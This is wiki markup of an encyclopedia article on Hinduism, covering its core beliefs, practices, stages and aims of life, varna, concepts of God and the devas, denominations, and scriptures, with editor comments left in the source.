&quot;''San{{Unicode|ā}}tana Dharma''&quot; ({{Unicode|सनातन धर्म}}, ''The Eternal Values''), the traditional name of Hinduism, alludes to the idea that certain spiritual principles hold eternally true, transcending man-made constructs, representing a pure science of consciousness. This consciousness is not merely that of the body or mind and intellect, but of a transcendental state that exists within ''and'' beyond our somatic existence, the unsullied ''Soul'' of all. Religion to the Hindu is the eternal search for the divine ''[[Brahman]]'' ({{Unicode|ब्रह्मन्}}, pronounced as /{{IPA|brəhmən}}/, nominative singular: {{Unicode|ब्रह्म}} /{{IPA|brəhmə}}/), the ''Supreme Immanent and Transcendent Reality'' or the ''Cosmic Spirit''.

Hinduism's spiritual tradition as both monotheistic and tolerant is expressed in the ''Rig Vedic'' verse:
:{{lang|sa|एकं सत् विप्रा बहुधा वदन्ति ।}} RV 1:164:46 ''
:''{{Unicode| ekam sat viprā bahudhā vadanti}}''
:Truth is One, but sages call it by many names. 


Hinduism's aspiration is best expressed in the following ''[[mantra]]'':
:{{lang|sa| ॐ । असतो मा सद्गमय । तमसो मा ज्योतिर्गमय । मृत्योर्मामृतं गमय ।।}}
:{{Unicode|'''OM''' ''Asato mā sadgamaya, tamaso mā jyotirgamaya, mrityormāmritam gamaya''}}
:&quot;OM (Lead me) from falsehood to truth, from darkness to light, from death to immortality.&quot;

[[Image:Samsara.jpg|right|thumb|200px|Hindus believe that every living being is an eternally existing spirit (the soul or the self). Upon physical death, this soul passes from one body to another in accordance with the laws of Karma and reincarnation. {{ref|re}}]]

=== Basic beliefs ===
What can be said to be common to all Hindus is the belief in ''[[Dharma]]'' (individual ethics, duties and obligations), ''[[Samsara|{{Unicode|Samsāra}}]]'' ([[Reincarnation]]/rebirth), ''[[Karma]]'' (&quot;actions&quot;, leading to a cause and effect relationship), and ''[[Moksha|{{Unicode|Mokṣha}}]]'' (salvation) of every soul through a variety of paths, such as ''[[Bhakti]]'' (devotion), ''[[Karma]]'' (selfless action) and ''[[Jnana|{{Unicode|Jñāna}}]]'' (enlightenment, knowledge), and of course, belief in God (''[[Ishvara|{{Unicode|Īshvara}}]] / [[Bhagavan|{{Unicode|Bhagavān}}]]''). ''Reincarnation'' or the soul's transmigration through a cycle of birth and death, until it attains [[Moksha|{{Unicode|Mokṣha}}]], is governed by ''[[Karma]]''. The philosophy of ''Karma'' lays forth the results of free-willed actions, which leave their imprint on the [[soul]] or the self, called as ''[[Atman|{{Unicode|ātman}}]]''. These actions determine the course of life and the life cycle for the soul in its subsequent life. Virtuous actions take the soul closer to the Supreme Divine, and lead to a birth with higher consciousness. Evil actions hinder this recognition of the Supreme Divine, and the soul takes lower forms of worldly life. All existence, as per Hinduism, from vegetation to mankind, are subjects to the eternal ''Dharma'', which is the natural law. Even [[Heaven]] (''[[swarga|Svarga Loka]]'') and [[Hell]] (''[[Naraka|Naraka Loka]]'') are temporary. Liberation from this material existence and cycle of birth and death, to join, reach or develop a relationship with the &quot;universal spirit&quot; (depending on belief), is known as ''{{Unicode|Mokṣha}}'', which is the ultimate goal of all Hindus. 

The other principles include the ''[[Guru-shishya tradition]]'', the Divinity of Word of [[Aum|OM]] and the power of ''[[mantra]]s'', manifestations of the divine's spirit in all forms of existence ([[pantheism]]); that is an understanding that the essential spark of the ''[[Atman]]/[[Brahman]]'' is in every living being, the concept that all living beings are divine. Another interesting belief is that though the Hindu mythology mentions a class of evil beings (demons, called ''Asuras'' or ''{{Unicode|Rākṣhasas}}''), opposed to the celestial spirits (''Devas''), essential Hindu philosophy does not believe in any concept of a central [[Devil]] or [[Satan]]. This does not mean that all the evil in the world is attributed to God, but that the evil (deed or thought) is ascribed to human ignorance.

It is highly debatable whether a non-Hindu (by birth, as a foreigner) can become a Hindu or not. Hinduism certainly does not [[evangelization|evangelize]] as Christianity or Islam. Since the Hindu scriptures are essentially silent on this issue, it rather depends upon the Hindu society whether they might consider a foreigner, who has got a ''{{Unicode|dīkṣhā}}'' into a Hindu sect, as a Hindu or not.

===Practice (Yoga Dharma) ===
Hinduism includes a variety of practices, primarily spiritual devotion (''[[Bhakti Yoga]]''), selfless service (''[[Karma Yoga]]''), knowledge and meditation (''Jñāna'' or  ''[[Raja Yoga|{{Unicode|Rāja Yoga}}]]''). These are described in the two principal texts of Hindu [[Yoga]]: The ''[[Bhagavad Gita|{{Unicode|Bhagavad Gītā}}]]'' and the ''[[Yoga Sutras|Yoga Sūtras]]''. The ''[[Upanishad]]s'' are also important as a philosophical foundation for these  practices.  The Yogas provide a sort of alternate path (or faiths) that links together various Hindu beliefs, and can also be used to categorize non-Hindu beliefs that are seen as paths to {{Unicode|mokṣha}}, or ''[[nirvana|{{Unicode|nirvāṇa}}]]''.

===The Four Objectives of Life===    
Another major aspect of Hindu ''dharma'' that is common to practically all Hindus is that of the ''[[purusharthas|{{Unicode|puruṣhārthas}}]]'', the &quot;four objectives of life&quot;. They are ''[[kama|{{Unicode|kāma}}]]'', ''[[artha]]'', ''[[dharma]]'' and ''[[moksha|{{Unicode|mokṣha}}]]''. It is said that all beings seek ''{{Unicode|kāma}}'' (pleasure, physical or emotional) and ''artha'' (material wealth), but soon, with maturity, learn to govern these legitimate desires within the higher framework of ''dharma'' (righteousness). Of course, the only goal that is truly ultimate, whose attainment results in ultimate happiness, is ''{{Unicode|mokṣha}}'' (salvation), also known as ''[[Mukti]]'' (spiritual liberation), ''[[Samadhi|{{Unicode|Samādhi}}]]'', ''[[Nirvana|{{Unicode|Nirvāṇa}}]]'', or escape from ''[[Samsara|{{Unicode|Samsāra}}]]'' (the cycle of births and deaths).

===The Four Stages of Life===
Ideally (though not feasible for most of today's lay Hindus), the human life is divided into four ''[[Ashrama|{{Unicode|Āshrama}}]]s'' (&quot;phases&quot; or &quot;stages&quot;). They are ''[[Brahmacharya]]'', ''[[Grihastha|{{Unicode|Gṛihastha}}]]'', ''[[Vanaprastha|{{Unicode|Vānaprastha}}]]'' and ''[[Sanyasa|{{Unicode|Sanyāsa}}]]''. The first quarter of one's life, ''[[Brahmacharya]]'' (&quot;meditation, or study of the ''Brahman''&quot;) is spent in [[celibate]], controlled, [[sober]] and pure contemplation under a [[Guru]], building up the mind for the realization of truth. ''[[Grihastha]]'' is the [[householder]]'s stage, alternatively known as ''[[samsara]]'', in which one marries and satisfies ''[[Kama (Hinduism)|{{Unicode|kāma}}]]'' and ''[[artha]]'' within one's married and ''[[professional]]'' life. ''[[Vanaprastha|{{Unicode|Vānaprastha}}]]'' is gradual detachment from the [[material world]], ostensibly giving over duties to one's children, spending more time in [[contemplation]] of the Divine, and making holy [[pilgrimage]]s. Finally, in ''[[sanyasa|{{Unicode|Sanyāsa}}]]'', the individual goes into seclusion, often envisioned as renunciation, to find the Divine through detachment from worldly life, and peacefully shed the body for the next life (or, for liberation). 

[[Image:Gita1.jpg|thumb|right|200px|[[Lord Krishna]] revealing the eternal super-consciousness to [[Arjuna]]]]

===The four classes of society===
&lt;!--Please use only proper IAST tranliteration, not casual Yahoo-chatting type spellings--&gt;
Hindu society has traditionally been divided into four classes, based on profession—the '''''[[Brahmin|{{Unicode|Brāhmaṇas}}]]''''': teachers and priests; the '''''[[Kshatriya|{{Unicode|Kṣhatriyas}}]]''''': warriors, kings and administrators; the '''''[[Vaishya|{{Unicode|Vaishyas}}]]''''': farmers, merchants, herdsmen and businessmen; and the '''''[[Shudra|{{Unicode|Shūdras}}]]''''': servants and labourers. Each of these classes was called a '''''{{Unicode|varṇa}}''''', and the system was called '''''{{Unicode|Varṇa Vyavasthā}}'''''. It is highly debatable whether the ''{{Unicode|varṇa}}'' system is an integral part of Hinduism or not; and whether or not it is strictly sanctioned by the scriptures. The ''Shruti'' texts make very rare mentions of this system at some places, without defining things very much. The ''{{Unicode|Smṛiti}}'' texts (including the ''[[Manusmriti|{{Unicode|Manusmṛiti}}]]'') have elaborated the rules about this system. Earlier, the system was '''only''' based upon the profession (and character), and there are dozens of instances where people freely changed their professions and freely intermarried. Later, (the historians do not agree as to when) the system became fixed by '''birth'''. Thus, with the evolution of several sub-castes (along with a class of '''outcastes''' outside the ''{{Unicode|Varṇa Vyavasthā}}''), the system evolved into the [[caste]] system as we know of today. With modernization, caste differences are slowly fading away in modern India, but tension and prejudice still remain.
&lt;!--ALTERNATIVE: Hindu society has traditionally been divided into four classes, based on moral character and spiritual purity through spiritual attainment — the '''Brahmanas''': priests and spiritual teachers/advisors; the '''Kshatriyas''': warriors who protect the Dharma, kings and administrators; the '''Vaishyas''': farmers, merchants, herdsmen and businessmen; and lastly the '''Shudras''' who were not initiated into Vedic learning: servants and labourers. Each of these classes was called a '''varna''', and the system was called '''Varna Vyavastha'''. The Varna system was an integral part of Hinduism and is related to spiritual attainment and duties based upon this spiritual attainment;  The Shruti texts such as the Vedas make mention of the &quot;five classes of men&quot;. The Smriti texts (including the [[Manusmriti]]) have elaborated the rules about this system. Earlier, the system was '''only''' based upon the spiritual nature and purity of the person and their ability to participate in Vedic rituals.  However, there are dozens of instances where people freely changed their professions and freely intermarried. Later, (the historians do not agree as to when) the system became fixed by '''birth'''. Thus, with the evolution of several sub-castes (along with a class of '''outcastes''' outside the Varna Vyavastha), the system evolved into the [[caste]] system as we know of today. With modernization, caste differences are slowly fading away in modern India, but tension and prejudice still remain. THIS IS NOT HISTORICALLY CORRECT. IT IS ONLY A JUSTIFICATION OF CASTE SYSTEM BY CASTE-PROPONENTS--&gt;

=== Nature of God ===
The Vedas depict ''[[Brahman]]'' as the Ultimate Reality, the Absolute or Universal Soul (''[[Paramatman|{{Unicode|Paramātman}}]]''). '''''Brahman''''' is the indescribable, inexhaustible, incorporeal, omniscient, omnipresent, original, first, eternal, both [[transcendent]] and [[immanent]], [[absolute infinite]] [[existence]], and the ultimate principle who is without a beginning, without an end, who is hidden in all and who is the cause, source, material and effect of all creation known, unknown and yet to happen in the entire universe. ''Brahman'' (not to be confused with the deity ''[[Brahma|{{Unicode|Brahmā}}]]'') is seen as a pantheistic '''Cosmic Spirit'''. The personality behind Brahman is known as ''Parabrahman'' (The superior ''Brahman''). ''Brahman'' may be viewed as without personal attributes (''[[Nirguna Brahman|{{Unicode|Nirguṇa Brahman}}]]'') or with attributes (''[[Saguna Brahman|{{Unicode|Saguṇa Brahman}}]]''). 

Perhaps the best word in Hinduism to represent the concept of '''God''' is '''''[[Ishvara|{{Unicode|Īshvara}}]]''''' (lit. the '''Supreme Lord'''). In ''[[Advaita Vedanta|{{Unicode|Advaita Vedānta}}]]'' philosophy, ''{{Unicode|Īshvara}}'' is simply the manifested form of Brahman upon human mind. Thus, according to ''[[Smarta|{{Unicode|Smārta}}]]'' views, the Supreme Being can be with attributes, ''[[Saguna Brahman|{{Unicode|Saguṇa Brahman}}]]'', and also be viewed with whatever attributes, (e.g., a female goddess) a devotee conceives. For the Hindus, ''{{Unicode|Īshvara}}'', who is one and only one, is full of innumerable auspicious qualities; He is omniscient, omnipotent, perfect, just, merciful, glorious, mysterious, and yet full of love. He is the Creator, the Ruler and the Destroyer of this universe. Some believe Him to be infinite and incorporeal. In Vaishnavism and Shaivism, ''[[Saguna Brahman|{{Unicode|Saguṇa Brahman}}]]'' is viewed solely as ''[[Vishnu|{{Unicode|Viṣhṇu}}]]'' or ''[[Shiva]]''—so their followers may attribute an anthropomorphic form to {{Unicode|Īshvara}}. {{Unicode|Īshvara}} is also called as ''[[Bhagavan|{{Unicode|Bhagavān}}]]'' in modern Hindi. The divine power (or energy) of God is personified as female or ''[[Shakti]]''. However, the Divine and the divine energy are indivisible, unitary, and the same. The analogy is that fire represents the Divine and the actual heat ''[[Shakti]]''.

===The several deities===

The Hindu religion also believes in several celestial entities which are called ''[[Deva (deity)|Devas]]''. These '''''Devas''''' may variously be translated into English as gods (which is rather a mistranslation), or better, as demigods, deities, celestial spirits or angels. The feminine of ''deva'' is '''''{{Unicode|devī}}'''''. It is these ''devas'' that give the western world a picture that Hinduism is [[polytheism|polytheistic]]. The question who or what these ''devas'' are may be analyzed under the following three points:

# According to the philosophy of ''[[Advaita Vedanta|{{Unicode|Advaita Vedānta}}]]'', and many verses of ''[[Bhagavad Gita|{{Unicode|Bhagavad Gītā}}]]'', the ''{{Unicode|Upaniṣhads}}'' and the ''Vedas'', all the ''devas'' are simply the more mundane manifestations of the Supreme Lord ''{{Unicode|Īshvara}}'' upon the human mind, and hence, ultimately, the different manifestations of the One ''Brahman'' that the human mind conceives. In order to worship the formless ''{{Unicode|Īshvara}}'', the devotee conceives an anthropomorphic form of God in his mind for the sake of worshipping Him with love and {{Unicode|Bhakti}}. A mention here could be made to one of the fundamental principles of Hinduism is depicted in the following words which have been widely accepted as true over numerous generations—''ekam sat {{Unicode|viprā bahudhā}} vadanti'' (''[[Rig Veda|{{Unicode|Ṛig Veda}}]]'' 1.164.46) meaning “The True God is '''one''', though the sages address him by multiple names”. Thus, most Hindus maintain that ''[[Ishvara|{{Unicode|Īshvara}}]]'' is One and only One, although He can be viewed as having many manifestations such as ''{{Unicode|Viṣhṇu}}'' or  ''Shiva'' or the Mother Goddess—this view is especially true of the ''{{Unicode|Smārta}}'' denomination.
# According to the philosophies of ''[[Nyaya|{{Unicode|Nyāya}}]]'', ''[[Vaisheshika|{{Unicode|Vaisheṣhika}}]]'', ''[[Yoga]]'', certain verses from the ''Shrutis'' and certain Shaivite and Vaishnavite thoughts, the ''devas'' are those immortal celestial beings who are subservient to the Supreme Lord ''{{Unicode|Īshvara}}'', but are above human beings. Thus they are the [[angel]]s who preside over the forces of nature and act as a link between God and the mortal world. For instance, the Yoga philosophy says that ''{{Unicode|Īshvara}}'' is the father and ''[[guru]]'' of all the ''devas'' like ''{{Unicode|Prajāpati}}'' and ''Indra'', and of the ''[[rishi|{{Unicode|Ṛiṣhi}}]]s'' like ''[[Angiras|{{Unicode|Aṅgīras}}]]''. They all derive their power from God, under whose control they always work. Again note that the Vaishnavites and the Shaivites view Vishnu or Shiva respectively to be the same as ''{{Unicode|Īshvara}}''. 
# According to the philosophy of ''[[Mimamsa|{{Unicode|Mīmāṃsā}}]]'', all the ''devas'' and ''{{Unicode|devīs}}'' are the sovereign rulers of the forces of nature and there is no one Supreme ''{{Unicode|Īshvara}}'' as their Lord. To do a desired action, the humans must please each or several of these ''devas'' by worshipping them with proper rituals. This kind of view could be regarded as purely [[polytheism|polytheistic]]. Although the later ''{{Unicode|Mīmāṃsakās}}'' retracted this view and accepted ''{{Unicode|Īshvara}}'', this view is still held today by a substantial populace of today's Hindus, especially the more illiterate and superstitious ones. 

The terms ''{{Unicode|Īshvara}}'' and ''devas'' must not be confused. ''Devas'' could be as numerous as [http://www.indhistory.com/hindu-god.html 330 million]. Thus, it is false to say that Hinduism has 330 million &quot;Gods&quot;, which are more correctly ''[[devas]]'' or celestial beings; even the liberal ''[[Smarta|{{Unicode|Smārta}}]]'' denomination recognizes only six forms of God to be objects of worship; other denominations of Hinduism, such as [[Vaishnavism]] and [[Shaivism]] follows a singular concept of God, or [[panentheistic]] [[monotheism]]. More precisely, the Hindu scriptures and most Shaivite and Vaishnavite thoughts regard the ''devas'' as a combination of the first two views; e.g., ''[[Krishna|{{Unicode|Kriṣhṇa}}]]'' is regarded as ''{{Unicode|Īshvara}}'' to whom all the demigods are subservient, and simultaneously, all the demigods are seen as mundane manifestations of {{Unicode|Kriṣhṇa}}. The third view is not supported by the scriptures.

Whatever it is, the ''devas'' (also called ''{{Unicode|devatās}}'') are an integral part of the colorful Hindu culture. The 33 early Vedic ''devas'' included ''[[Indra]]'', ''[[Agni]]'', ''[[Soma]]'', ''[[Varuna|{{Unicode|Varuṇa}}]]'', ''[[Mitra]]'', ''[[Savitri|{{Unicode|Savitṛ}}]]'', ''[[Rudra]]'', ''[[Prajapati|{{Unicode|Prajāpati}}]]'', ''[[Vishnu|{{Unicode|Viṣhṇu}}]]'', ''[[Aryaman]]'' and the ''[[Ashvin]]s''; important ''{{Unicode|devīs}}'' were ''[[Sarasvati|{{Unicode|Sarasvatī}}]]'', ''[[Ushas|{{Unicode|Ūṣhā}}]]'' and ''[[Prithvi|{{Unicode|Pṛithivī}}]]''. ''Indra'' is traditionally called the king of the demigods. The later {{Unicode|Purāṇas}} laud the Hindu Trinity of ''[[Brahma|{{Unicode|Brahmā}}]]'', ''[[Vishnu|{{Unicode|Viṣhṇu}}]]'' and ''[[Shiva]]'', i.e., ''[[Trimurti|{{Unicode|Trimūrti}}]]'', signifying respectively the creative, ruling and destroying aspects of the same One God. Note that ''{{Unicode|Brahmā}}'', ''{{Unicode|Viṣhnu}}'' and ''Shiva'' are not regarded as ordinary ''devas'' but as '''''{{Unicode|Mahādevas}}'''''. The ''{{Unicode|Purāṇas}}'' also laud other ''devas'' and ''[[avatar|{{Unicode|avatāras}}]]'' such as ''[[Ganesha|{{Unicode|Gaṇesha}}]]'', ''[[Hanuman|Hanumān]]'', ''[[Rama|{{Unicode|Rāma}}]]'', ''[[Krishna|{{Unicode|Kriṣhṇa}}]]'', etc.  ''{{Unicode|Devīs}}'', worshipped as the mother, include ''[[Lakshmi|{{Unicode|Lakṣhmī}}]]'' and most importantly, ''[[Durga|{{Unicode|Durgā}}]]'' and her forms such as ''[[Kali|{{Unicode|Kālī}}]]''. Though all the different paths of salvation are, to various extents, acknowledged by all denominations, the actual conception of ''Brahman'' and its nature is what differentiates them. It is important to note that the contemporary perception of Hinduism, influenced by ''{{Unicode|Smārta}}'' traditions, depicts an ''inclusively monotheistic (or monistic)'' religion, which accordingly holds that the different deities are simply different manifestations of the One God.

== Denominations ==
{{main|Hindu denominations}}
Each of the Hinduism's four major denominations share [[rituals]], [[beliefs]], traditions and personal deities with one another, but each sect has a different philosophy on how to achieve life's ultimate goal (''[[Moksha|{{Unicode|Mokṣha}}]]'', salvation) and on their concept of God (''[[Ishvara|{{Unicode|Īshvara}}]]''). However, each denomination respects all others, and conflict of any kind is rare. In fact, many Hindus will not claim to belong to any denomination at all. 

Contemporary Hinduism is now divided into four major divisions, Vaishnavism, Shaivism, Shaktism, and Smartism. The primary differences are between the sects of [[Vaishnavism]] which conceives God as ''[[Vishnu|{{Unicode|Viṣhṇu}}]]'', and [[Shaivism]] which conceives God as ''[[Shiva]]''. Vaishnavas make up the majority of Hindus in India. [[Shaktism]] worships a female divine or goddess ''[[Devi|{{Unicode|Devī}}]]'' or alternatively (where it is viewed as a sub sect of Shaivism) as the power of ''Shiva'' personified. Smartism, in contrast, believes in all religions being the same and leading to a [[panentheism|pantheistic]] God. A number of reform movements have also given rise to sects like Swami [[Dayananda Saraswati]]'s ''[[Arya Samaj|{{Unicode|Ārya Samāj}}]]'' which condemns [[iconolatry]], veneration of multiple deities and focuses on the ''Vedas'' and the Vedic fire-sacrifices (''[[yagna|yajña]]''). 

==== Vaishnavism ====
[[Image:Birlamandirdelhi.JPG|right|thumb|250px|The [[Birla Mandir]] is one of the most famous Vaishnavite temples in India.]]
{{main|Vaishnavism}}
A Vaishnavite considers '''''[[Vishnu|{{Unicode|Viṣhṇu}}]]''''' ({{lang|sa|विष्णु}}) as the Supreme Being, and considers other deities as subordinate (as demigods). Accordingly, many Vaishnavites, for example, believe that ''{{Unicode|Viṣhṇu}}'' ultimately grants ''{{Unicode|mokṣha}}''. Vaishnavites consider worship of &quot;other gods&quot; as secondary due to ''[[Krishna|{{Unicode|Kriṣhṇa}}]]''’s (who is a form of ''{{Unicode|Viṣhṇu}}'') sayings in the ''{{Unicode|Gītā}}'': 

'' Whatever deity or form a devotee worships, their wishes are granted by Me'' (''{{Unicode|Gītā}}'': 7:21-22)

'' O Arjuna, even those devotees who worship other subordinate deities (e.g., ''Devas'', for example) with faith, they also worship Me, [but] following non-injunction'' (''{{Unicode|Gītā}}'': 9:23).

==== Shaivism ====
{{main|Shaivism}}

Similar to Vaishnavism, many Shaivites hold that '''''[[Shiva]]''''' ({{lang|sa|शिव}}) is the Supreme Being and all other deities sprung forth from him. They follow either [[monistic]] or [[dvaita|dualistic]] philosophies.

==== Shaktism ====
{{main|Shaktism}}
''{{Unicode|Shāktas}}'' worship the Mother Goddess ''Shakti'' (or '''''[[Devi|{{Unicode|devī}}]]''''') in all of her forms, whilst not rejecting the importance of the masculine divinity. The &quot;History of the ''{{Unicode|Shākta}}'' Religion&quot; explains that ''The ''{{Unicode|Shāktas}}'' conceive their Great Goddess as the personification of primordial energy and the source of all divine and cosmic evolution. She is identified with the Supreme Being, conceived as the Source and the Spring as well as the Controller of all the forces and potentialities of Nature.'' It is associated with ''[[Vedanta|{{Unicode|Vedānta}}]]'', ''[[Samkhya|{{Unicode|Sāṃkhya}}]]'' and ''[[Tantra]]'' philosophies, is ultimately monist, and has a rich tradition of ''[[Bhakti yoga]]'' associated with it.

==== Smartism ====
{{main|Smartism}}
'''''{{Unicode|Smārtas}}''''' invariably follow ''Advaita'' (monist) philosophy, seeing multiple manifestations emanating from a single source called ''Brahman''.  It is seen as ultimate unity, with the personal &quot;gods&quot; (deities) being different manifestations of ''Brahman'' which can be called by different names. Smartism is the only branch of Hinduism that adopts these ideas strictly. The ''{{Unicode|Smārtas}}'' perspective dominates the view of Hinduism in the West because of the influence of eminent ''{{Unicode|Smārtins}}'' like Swami [[Vivekananda]].

== Hindu sacred texts ==
{{main|Hindu scripture}}
The overwhelming majority of Hindu [[scripture|sacred texts]] are composed in the [[Sanskrit language]]. Indeed, much of the [[Morphology (linguistics)|morphology]] and [[linguistic]] philosophy inherent in the learning of Sanskrit is sometimes claimed to be inextricably linked to study of the Vedas and relevant Hindu scriptures. 
===Shruti===
{{main|Shruti}}
The ''[[Veda]]s'' ({{Unicode|वेद}}, literally, &quot;Knowledge&quot;) are considered as ''Shruti'' by the Hindus. They are said to have been revealed by the ''[[Brahman]]'' to the ''[[rishi|{{Unicode|Ṛiṣhi}}]]s'' while the latter were in deep meditation. While the overwhelming majority of Hindus may never read the ''[[Veda]]s'', there prevails in them a reverence for this transcendental notion of &quot;Eternal Knowledge&quot;. The four ''[[Veda]]s'' (the ''[[Rig Veda|{{Unicode|Ṛig}}]], [[Yajur Veda|Yajur]], [[Sama Veda|{{Unicode|Sāma}}]] and [[Atharva Veda]]s'') are various ''{{Unicode|shākhās}}'' or branches of knowledge. Depending on the branch, different commentaries and instructions are associated with each Veda. The ''{{Unicode|Ṛig}} Veda'' contains mantras to invoke the ''devas'' for the fire-sacrifice rituals, the ''{{Unicode|Sāma}} Veda'' has chants to be sung there, the ''Yajur Veda'' has actual prosaic instructions for the sacrifices and the ''Atharva Veda'' comprises of semi-magical (sic) spells against enemies, sorcerers, diseases and mistakes during the sacrificing ritual. The Vedas, apart from the hymn (''[[mantra]]'') or the ''[[Samhita|{{Unicode|Saṃhitā}}]]'' (संहिता) portion, also have three layers of commentaries integrally incorporated within them. These are: the ''[[Brahmana|Brāhmaṇas]]'' (ब्राह्मण, not to be confused with ''Brahman'') containing prose commentaries on the rituals, the ''[[Aranyaka|{{Unicode|Āraṇyakas}}]]'' (आरण्यक) containing the mystical explanations of the mantras, and the ''[[Upanishad|{{Unicode|Upaniṣhads}}]]'' (उपनिषद्) containing highly philosophical and metaphysical writings about the nature of, and the relationship between the soul (''[[Atman|{{Unicode|ātman}}]]'') and the ''[[Brahman]]''. Each Veda also has various law books and ritual manuals loosely associated with it, like the ''[[Dharmashastra|{{Unicode|Dharmashāstra}}]]s'', ''{{Unicode|Grihyasūtras}}'', etc., but most people do not consider them as an integral part of the ''Shruti'' or the Vedic literature.

The ''{{Unicode|Upaniṣhads}}'' set Hindu philosophy apart with its embrace of transcendent and yet multiple immanent forces that is subjective to each individual, seen by some as an identification of unity in diversity. Modern indology suggests that while early Hinduism is most reliant on the four [[Veda]]s, Classical Hinduism, from the ''[[Yoga]]'' and ''[[Vedanta]]'' to ''[[Tantra]]'' and ''[[Bhakti]]'' streams, was moulded around the ''{{Unicode|Upaniṣhads}}''. The Vedas are full of mysticism and allegories. While many schools like Smartism and Advaitism encourage people to interpret the Vedas philosophically and metaphorically and not too literally, Vaishnavism stresses the literal meaning (''mukhya v{{Unicode|ṛ}}itti'') as primary and indirect meaning ({{Unicode|gauṇa vṛitti}}) as secondary: ''{{Unicode|sākṣhād upadesas tu shrutih}}'' - &quot;The instructions of the shruti-sh{{Unicode|ā}}stra should be accepted literally, without so-called ''fanciful or allegorical interpretations''.&quot; (Jiva Gosvami, ''{{Unicode|Kṛiṣhna}} Sandarbha'' 29.26-27). The very sound of the Vedic mantras is considered as &quot;purifying&quot; by many Hindus, hence the rigour in learning pronunciation. The rigorous oral tradition of transmitting the Vedas has helped in its perfect preservation. 

[[Image:Mindsenses.jpg|thumb|right|200px|''The Bhagavad Gita'' describes the mind as turbulent and obstinate. 'The Chariot of the Body': The five horses represent the five senses (tongue, eyes, nose, ears and skin). The rein symbolises the mind, the driver is the intelligence while the passenger is the spirit soul.]]

===Bhagavad Gita===
{{main|Bhagavad Gita}}
The '''''{{Unicode|Bhagavad Gītā}}''''' (भागवद् गीता), often referred to as the ''{{Unicode|Gītā}}'', is one of the more popular sacred texts of Hinduism. It is a summary of the [[Vedic religion|Vedic]], [[Yoga|Yogic]], [[Vedanta|Vedantic]] and [[Tantric Buddhism|Tantric]] branches of [[Hindu philosophy|philosophy]]. The ''{{Unicode|Bhagavad Gītā}}'', meaning &quot;The Divine Song&quot;, refers to itself as a ''Yoga Upani{{Unicode|ṣ}}had'' and is sometimes called ''{{Unicode|Gītopaniṣad}}''. It expounds on ''[[Karma Yoga]]'', ''[[Bhakti Yoga]]'' and ''[[Jnana Yoga|{{Unicode|Jñāna}} Yoga]]''. It is an integral part of the epic ''[[Mahabharata|{{Unicode|Mahābhārata}}]]'', and contains philosophical sermons taught by ''[[Krishna|{{Unicode|Kṛiṣhṇa}}]]'', an incarnation of ''{{Unicode|Viṣhṇu}}'', to the ''{{Unicode|Pāṇḍava}}'' princes just before a great war.

While technically, it is considered as ''[[Smriti|{{Unicode|Smṛiti}}]]'' text, it has singularly achieved the status of ''[[Shruti]]'', or ''Revealed Knowledge''. The ''{{Unicode|Bhagavad Gītā}}'' is described as the essence of the ''Vedas''. The ''{{Unicode|Gītā}}'' is easy to follow, and is also one of the most popular books in Hinduism. Unlike the ''Vedas'', which are more [[esoteric]] and intricate, the ''{{Unicode|Gītā}}'' is read by many practicing Hindus.

===Smriti===
{{main|Smriti}}
The other Hindu texts form the latter category—the '''''{{unicode|Smṛitis}}''''' (lit., &quot;memory&quot;), all of which laud the ''Vedas''; the most notable of them are the ''[[Mahabharata|{{Unicode|Mahābhārata}}]]'' and the ''[[Ramayana|{{Unicode|Rāmāyaṇa}}]]'', major [[epic poetry|epic]]s considered sacred by almost all followers of ''San{{Unicode|ā}}tana Dharma''. Their stories are arguably familiar to the vast majority of Hindus. Other texts considered important by today's Hindus include the ''{{Unicode|Shrīmad Bhāgavatam}}'', described as the spotless epic detailing devotion to ''{{Unicode|Viṣhnu}}'' as the highest goal, ''[[Devi Mahatmya|{{Unicode|Devī Mahātmya}}]]'', an ode to ''[[Devi|{{Unicode|Devī}}]]'', and the ''[[Yoga Sutras|{{Unicode|Yoga Sūtras}}]]'', a key meditative yoga text of ''Shri [[Patanjali|{{Unicode|Patañjali}}]]''. There are also a number of revered Hindu ''[[Tantras]]'', the ''[[Manusmriti|{{unicode|Manusmṛiti}}]]'', the 18 ''[[Purana|{{Unicode|Purāṇa}}]]s'' which vividly describe later Hinduism's deities and mythology, and [[List of sutras|{{Unicode|Sūtras}}]] that command the respect of various Hindu sects of different persuasion, some including the ''{{Unicode|Mahanirvāṇa Tantra}}'', ''[[Tirumantiram]]'' and ''[[Shiva Sutras|{{Unicode|Shiva Sūtras}}]]''. The eighteen ''[[Purana|{{Unicode|Purāṇa}}]]s'', or ''Ancients'', are divided into three groups of six. The ''{{Unicode|Purāṇa}}s’'' groups and their contents are: 1) the ''{{Unicode|Brahmā Purāṇa}}s'': ''{{Unicode|Brahma Purāṇa}}'', ''{{Unicode|Brahmāṇḍa Purāṇa}}'', ''Brahma Vaivarta'' ''{{Unicode|Purāṇa}}'', ''{{Unicode|Mārkaṇḍeya Purāṇa}}'',  ''{{Unicode|Bhaviṣhya Purāṇa}}'', and the ''{{Unicode|Vāmana Purāṇa}}''; 2) the ''{{Unicode|Viṣhnu Purāṇa}}s'': the ''{{Unicode|Viṣhnu Purāṇa}}'', the ''{{Unicode|Bhāgavata Purāṇa}}'', the ''{{Unicode|Nāradeya Purāṇa}}'', the ''{{Unicode|Garuḍa Purāṇa}}'', the  ''Padma'' ''{{Unicode|Purāṇa}}'', and the ''{{Unicode|Varāha Purāṇa}}''; and 3) the ''Shiva'' ''{{Unicode|Purāṇa}}s'': the ''{{Unicode|Vāyu Purāṇa}}'', the ''{{Unicode|Liṅga Purāṇa}}'', the ''Skanda {{Unicode|Purāṇa}}'' , the ''Agni'' ''{{Unicode|Purāṇa}}'', the ''Matsya'' ''{{Unicode|Purāṇa}}'', and the ''Karma'' ''{{Unicode|Purāṇa}}''. The ''{{Unicode|Rāmāyaṇa}}'', ''{{Unicode|Mahābhārata}}'' and many ''{{Unicode|Purāṇas}}'' are much more widely read by today's Hindus than the ''Vedas'', and the temple and icon worship of modern Hinduism is attributable to them. It is interesting to note that the Hindus attach much more importance to the ethics and the metaphorical meanings conveyed by these texts, rather than only the literal mythology. Other important scriptures are the sectarian ''[[Hindu Agamas|Hindu {{Unicode|Āgamas}}]]'' which are texts related to rituals and worship and is dedicated to ''{{Unicode|Viṣhnu}}'', ''Shiva'' and ''{{Unicode|Devī}}''. The ''Shruti'' takes precedence over the ''{{unicode|Smṛiti}}'' in any matter of apparent mutual dispute. However, many Vaishnavites regard the ''{{Unicode|Purāṇas}}'' to be as authoritative as the ''Vedas''.

== Origins and society ==

===Origins of Hinduism ===
{{main|History of Hinduism}}
